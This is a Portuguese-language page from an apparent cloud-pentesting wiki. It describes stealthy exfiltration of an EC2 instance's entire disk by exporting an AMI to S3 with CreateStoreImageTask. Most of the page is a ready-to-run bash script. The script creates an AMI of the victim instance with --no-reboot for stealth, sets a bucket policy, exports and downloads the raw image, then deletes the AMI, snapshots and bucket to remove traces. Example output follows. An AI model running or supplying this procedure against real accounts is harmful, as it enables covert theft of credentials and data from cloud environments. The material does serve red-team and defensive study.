AWS – Exfiltração Oculta de Disco via AMI Store-to-S3 (CreateStoreImageTask)

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Resumo

Abuse a exportação de AMI do EC2 para S3 para exfiltrar o disco completo de uma instância EC2 como uma única imagem raw armazenada em S3, e então baixá-la out-of-band. Isso evita o compartilhamento de snapshots e produz um objeto por AMI.

Requisitos

  • EC2: ec2:CreateImage, ec2:CreateStoreImageTask, ec2:DescribeStoreImageTasks na instância/AMI alvo
  • S3 (mesma Região): s3:PutObject, s3:GetObject, s3:ListBucket, s3:AbortMultipartUpload, s3:PutObjectTagging, s3:GetBucketLocation
  • KMS decrypt na chave que protege os snapshots da AMI (se a criptografia padrão do EBS estiver habilitada)
  • Política de bucket S3 que confia no principal de serviço vmie.amazonaws.com (veja abaixo)

Impacto

  • Aquisição completa offline do disco root da instância em S3 sem compartilhar snapshots ou copiar entre contas.
  • Permite forense furtiva em credenciais, configurações e conteúdo do sistema de arquivos a partir da imagem raw exportada.

Como Exfiltrar via AMI Store-to-S3

  • Notas:
  • O bucket S3 deve estar na mesma Região que a AMI.
  • Em us-east-1, create-bucket NÃO deve incluir --create-bucket-configuration.
  • --no-reboot cria uma imagem crash-consistent sem parar a instância (mais furtivo, mas menos consistente).
Comandos passo a passo ```bash # Vars REGION=us-east-1 INSTANCE_ID= BUCKET=exfil-ami-$(date +%s)-$RANDOM

1) Create S3 bucket (same Region)

if [ “$REGION” = “us-east-1” ]; then aws s3api create-bucket –bucket “$BUCKET” –region “$REGION” else aws s3api create-bucket –bucket “$BUCKET” –create-bucket-configuration LocationConstraint=$REGION –region “$REGION” fi

2) (Recommended) Bucket policy to allow VMIE service to write the object

ACCOUNT_ID=$(aws sts get-caller-identity –query Account –output text) cat > /tmp/bucket-policy.json <<POL { “Version”: “2012-10-17”, “Statement”: [ { “Sid”: “AllowVMIEPut”, “Effect”: “Allow”, “Principal”: {“Service”: “vmie.amazonaws.com”}, “Action”: [ “s3:PutObject”, “s3:AbortMultipartUpload”, “s3:ListBucket”, “s3:GetBucketLocation”, “s3:GetObject”, “s3:PutObjectTagging” ], “Resource”: [ “arn:aws:s3:::$BUCKET”, “arn:aws:s3:::$BUCKET/” ], “Condition”: { “StringEquals”: {“aws:SourceAccount”: “$ACCOUNT_ID”}, “ArnLike”: {“aws:SourceArn”: “arn:aws:ec2:$REGION:$ACCOUNT_ID:image/ami-”} } } ] } POL aws s3api put-bucket-policy –bucket “$BUCKET” –policy file:///tmp/bucket-policy.json

3) Create an AMI of the victim (stealthy: do not reboot)

AMI_ID=$(aws ec2 create-image –instance-id “$INSTANCE_ID” –name exfil-$(date +%s) –no-reboot –region “$REGION” –query ImageId –output text)

4) Wait until the AMI is available

aws ec2 wait image-available –image-ids “$AMI_ID” –region “$REGION”

5) Store the AMI to S3 as a single object (raw disk image)

OBJKEY=$(aws ec2 create-store-image-task –image-id “$AMI_ID” –bucket “$BUCKET” –region “$REGION” –query ObjectKey –output text)

echo “Object in S3: s3://$BUCKET/$OBJKEY”

6) Poll the task until it completes

until [ “$(aws ec2 describe-store-image-tasks –image-ids “$AMI_ID” –region “$REGION”
–query StoreImageTaskResults[0].StoreTaskState –output text)“ = “Completed” ]; do aws ec2 describe-store-image-tasks –image-ids “$AMI_ID” –region “$REGION”
–query StoreImageTaskResults[0].StoreTaskState –output text sleep 10 done

7) Prove access to the exported image (download first 1MiB)

aws s3api head-object –bucket “$BUCKET” –key “$OBJKEY” –region “$REGION” aws s3api get-object –bucket “$BUCKET” –key “$OBJKEY” –range bytes=0-1048575 /tmp/ami.bin –region “$REGION” ls -l /tmp/ami.bin

8) Cleanup (deregister AMI, delete snapshots, object & bucket)

aws ec2 deregister-image –image-id “$AMI_ID” –region “$REGION” for S in $(aws ec2 describe-images –image-ids “$AMI_ID” –region “$REGION”
–query Images[0].BlockDeviceMappings[].Ebs.SnapshotId –output text); do aws ec2 delete-snapshot –snapshot-id “$S” –region “$REGION” done aws s3 rm “s3://$BUCKET/$OBJKEY” –region “$REGION” aws s3 rb “s3://$BUCKET” –force –region “$REGION”

</details>

## Exemplo de Evidência

- `describe-store-image-tasks` transições:
```text
InProgress
Completed
  • Metadados do objeto S3 (exemplo):
{
"AcceptRanges": "bytes",
"LastModified": "2025-10-08T01:31:46+00:00",
"ContentLength": 399768709,
"ETag": "\"c84d216455b3625866a58edf294168fd-24\"",
"ContentType": "application/octet-stream",
"ServerSideEncryption": "AES256",
"Metadata": {
"ami-name": "exfil-1759887010",
"ami-owner-account": "<account-id>",
"ami-store-date": "2025-10-08T01:31:45Z"
}
}
  • Download parcial comprova o acesso ao objeto:
ls -l /tmp/ami.bin
# -rw-r--r--  1 user  wheel  1048576 Oct  8 03:32 /tmp/ami.bin

Permissões IAM necessárias

  • EC2: CreateImage, CreateStoreImageTask, DescribeStoreImageTasks
  • S3 (no bucket de exportação): PutObject, GetObject, ListBucket, AbortMultipartUpload, PutObjectTagging, GetBucketLocation
  • KMS: Se os snapshots de AMI estiverem criptografados, permitir decrypt para a EBS KMS key usada pelos snapshots

Tip

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